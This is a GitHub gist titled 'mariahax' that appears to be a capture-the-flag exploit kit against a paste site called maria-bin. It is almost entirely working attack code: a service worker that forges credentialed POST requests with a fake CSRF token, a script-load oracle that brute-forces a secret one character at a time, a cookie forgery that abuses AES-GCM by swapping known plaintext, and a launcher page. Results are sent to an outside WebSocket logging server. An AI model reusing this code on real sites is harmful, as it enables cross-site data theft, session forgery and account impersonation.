Skip to content

Instantly share code, notes, and snippets.

@iczero
Last active June 26, 2020 11:54
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save iczero/746173bf4b71595634b672321a8eb3c2 to your computer and use it in GitHub Desktop.
Save iczero/746173bf4b71595634b672321a8eb3c2 to your computer and use it in GitHub Desktop.
mariahax
/* eslint-disable jsdoc/require-jsdoc */
// const CHARSET = ' !"#$%&\'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'.split('');
const CHARSET = 'abcdefghijklmnopqrstuvwxyz-0123456789'.split('');
const PRELOAD_VALID = ''; // use if script is aborted before finding whole string
const LOG_WS = 'wss://pwn.hellomouse.net/';
const SW_PATH = 'https://hellomouse.net/static/mariahax-sw.js';
const COOKIE_HELPER_PATH = 'https://hellomouse.net/static/mariahax-cookie-helper.js';
const SEARCH_ENDPOINT = 'https://app.maria-bin.tk/search';
const CSRF_SPOOF_URL = 'https://raw.maria-bin.tk/view?id=100dcc519bf083fc973bcb0c1f96f030' +
encodeURIComponent(`<script type="text/javascript" src="${COOKIE_HELPER_PATH}"></script>`);
let logSocket = new WebSocket(LOG_WS);
logSocket.addEventListener('open', _event => {
doExploit();
});
function log(...msg) {
console.log(...msg);
if (logSocket.readyState === WebSocket.OPEN) {
logSocket.send(JSON.stringify(msg));
}
}
/** honestly why do i have to implement this every single goddamn time */
class Deferred {
constructor() {
this.promise = new Promise((resolve, reject) => {
this.resolve = resolve;
this.reject = reject;
});
}
}
/** @type {Map<string, Deferred>} */
let pendingRPC = new Map();
navigator.serviceWorker.addEventListener('message', event => {
let data = event.data;
switch (data.type) {
case 'ACKNOWLEDGE': {
let pending = pendingRPC.get(data.messageId);
if (pending) {
pendingRPC.delete(data.messageId);
pending.resolve();
}
break;
}
default: {
log('main window received unknown event type');
}
}
});
let serviceWorker = null;
let targetElement = null;
let objectContainer = document.createElement('div');
objectContainer.id = 'load-target-container';
function recreateObject() {
if (targetElement && targetElement.parentElement) {
targetElement.parentElement.removeChild(targetElement);
}
targetElement = document.createElement('script');
targetElement.id = 'load-target';
targetElement.type = 'text/javascript'; // LOLOLOLOLOL
targetElement.src = SEARCH_ENDPOINT;
return new Promise((resolve, _reject) => {
targetElement.addEventListener('error', () => {
log('script load failure');
resolve(false);
});
targetElement.addEventListener('load', () => {
log('script load success');
resolve(true);
});
objectContainer.appendChild(targetElement);
});
}
async function setSearch(search) {
let messageId = Math.random().toString();
serviceWorker.postMessage({
type: 'SET_SEARCH',
search,
messageId
});
let deferred = new Deferred();
pendingRPC.set(messageId, deferred);
await deferred.promise;
}
async function trySearch(search) {
log('trying', search);
await setSearch(search);
return await recreateObject();
}
async function doExploit() {
log('hello from exploit script');
log('installing service worker');
await navigator.serviceWorker.register(SW_PATH);
serviceWorker = (await navigator.serviceWorker.ready).active;
log('service worker installed');
log('adding iframe for cookies');
let iframe = document.createElement('iframe');
iframe.src = CSRF_SPOOF_URL;
document.body.appendChild(iframe);
let deferred = new Deferred();
let iframeLoadListener = () => {
iframe.removeEventListener('load', iframeLoadListener);
deferred.resolve();
};
iframe.addEventListener('load', iframeLoadListener);
await deferred.promise;
log('iframe loaded');
document.body.appendChild(objectContainer);
log('starting search');
runSearch();
}
async function runSearch() {
let valid = PRELOAD_VALID;
while (true) {
let found = false;
for (let i = 0; i < CHARSET.length; i++) {
let currentChar = CHARSET[i];
let result = await trySearch(valid + currentChar);
if (result) {
valid += currentChar;
found = true;
break;
}
}
// nothing in charset
if (!found) {
log('end or character not in charset, currently', valid);
break;
}
}
}
let token = Buffer.from(decodeURIComponent('THE_COOKIE'), 'base64');
let firstUsername = Buffer.from('SAME_LENGTH_AS_TARGET_VALUE');
let targetUsername = Buffer.from('TARGET_VALUE');
let iv = Buffer.alloc(12);
token.copy(iv, 0, 0, 12);
let cipherText1 = Buffer.alloc(30);
token.copy(cipherText1, 0, 12, 42);
let authTag = Buffer.alloc(14); // literally doesn't matter
let plainText1 = Buffer.alloc(30);
firstUsername.copy(plainText1);
let plainText2 = Buffer.alloc(30);
targetUsername.copy(plainText2);
function xor(buf1, buf2, target, length) {
for (let i = 0; i < length; i++) {
target[i] = buf1[i] ^ buf2[i];
}
}
let cipherText2 = Buffer.alloc(32);
xor(cipherText1, plainText2, cipherText2, 30);
xor(cipherText2, plainText1, cipherText2, 30);
cipherText1.copy(cipherText2, 30, 30, 32);
let output = Buffer.alloc(58);
iv.copy(output);
cipherText2.copy(output, 12);
authTag.copy(output, 12 + 30);
console.log(encodeURIComponent(output.toString('base64')));
/* eslint-disable jsdoc/require-jsdoc */
const TARGET_URL = 'https://app.maria-bin.tk/search';
const TYPE = 'admin';
const LOG_WS = 'wss://pwn.hellomouse.net/';
let logSocket = new WebSocket(LOG_WS);
function logInit() {
return new Promise((resolve, _reject) => {
logSocket.addEventListener('open', () => {
log('hello from service worker');
resolve();
});
});
}
function log(...msg) {
console.log(...msg);
if (logSocket.readyState === WebSocket.OPEN) {
logSocket.send(JSON.stringify(msg));
}
}
self.addEventListener('install', event => {
self.skipWaiting();
event.waitUntil(logInit());
log('service worker installing');
});
self.addEventListener('activate', _event => {
self.clients.claim();
log('service worker activating');
});
let search = null;
self.addEventListener('message', event => {
let data = event.data;
switch (data.type) {
// RPC: { type: SET_SEARCH, search, messageId }
case 'SET_SEARCH': {
search = data.search;
event.source.postMessage({ type: 'ACKNOWLEDGE', messageId: data.messageId });
break;
}
default: {
log('unexpected event type from main');
}
}
});
self.addEventListener('fetch', event => {
if (event.request.url === TARGET_URL) {
let formData = new URLSearchParams();
formData.append('type', TYPE);
formData.append('name', search);
formData.append('csrf', 'WHEREISYOURSECURITYNOW');
let request = new Request(event.request, {
method: 'POST',
body: formData,
credentials: 'include'
});
event.respondWith(fetch(request));
}
});
<!DOCTYPE html>
<html>
<head>
<title>exploit all the things</title>
</head>
<body>
<script type="text/javascript" src="https://hellomouse.net/static/mariahax-2.js"></script>
</body>
</html>
const WebSocket = require('ws');
let connectionCount = 0;
let wss = new WebSocket.Server({ port: 8031 });
wss.on('connection', ws => {
let connectionId = connectionCount++;
console.log('new connection', connectionId);
ws.on('message', message => {
let parsed = null;
try {
parsed = JSON.parse(message);
} catch (err) {
console.log(connectionId, message);
return;
}
if (!(parsed instanceof Array)) parsed = [parsed];
console.log.apply(console, [connectionId, ...parsed]);
});
ws.on('close', () => console.log('connection closed', connectionId));
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment